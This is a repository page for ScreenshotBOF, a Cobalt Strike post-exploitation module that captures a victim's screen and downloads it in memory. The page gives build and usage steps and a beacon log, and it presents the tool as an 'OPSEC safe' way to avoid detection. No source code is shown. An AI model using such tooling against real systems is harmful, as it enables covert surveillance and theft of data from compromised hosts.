qwqdanchun
/
ScreenshotBOF
mirror of https://github.com/qwqdanchun/ScreenshotBOF.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
12 Commits 2 Branches 2 Tags 142 KiB
C 54.2%
C++ 32%
PowerShell 13.8%
Go to file
CodeXTF2 4f66ef6b8e fixes 2022-10-26 03:11:34 +08:00
ScreenshotBOF fixes 2022-10-26 03:11:34 +08:00
bin in memory download 2022-10-26 00:28:47 +08:00
.gitignore first commit 2022-10-23 16:58:24 +08:00
README.md readme 2022-10-26 00:35:38 +08:00
ScreenshotBOF.sln first commit 2022-10-23 16:58:24 +08:00

README.md

ScreenshotBOF

An alternative screenshot capability for Cobalt Strike that uses WinAPI and does not perform a fork & run. Screenshot downloaded in memory.

Self Compilation

  1. git clone the repo
  2. open the solution in Visual Studio
  3. Build project BOF

Usage

  1. import the screenshotBOF.cna script into Cobalt Strike
  2. use the command screenshot_bof {local filename}
beacon> screenshot_bof sad.bmp
[*] Running screenshot BOF by (@codex_tf2)
[+] host called home, sent: 4860 bytes
[+] received output:
[*] Tasked beacon to printscreen and save to sad.bmp
[+] received output:
[+] PrintScreen saved to bitmap...
[*] started download of sad.bmp

Notes

  • no evasion is performed, which should be fine since the WinAPIs used are not malicious

Why did I make this?

Cobalt Strike uses a technique known as fork & run for many of its post-ex capabilities, including the screenshot command. While this behaviour provides stability, it is now well known and heavily monitored for. This BOF is meant to provide a more OPSEC safe version of the screenshot capability.

Credits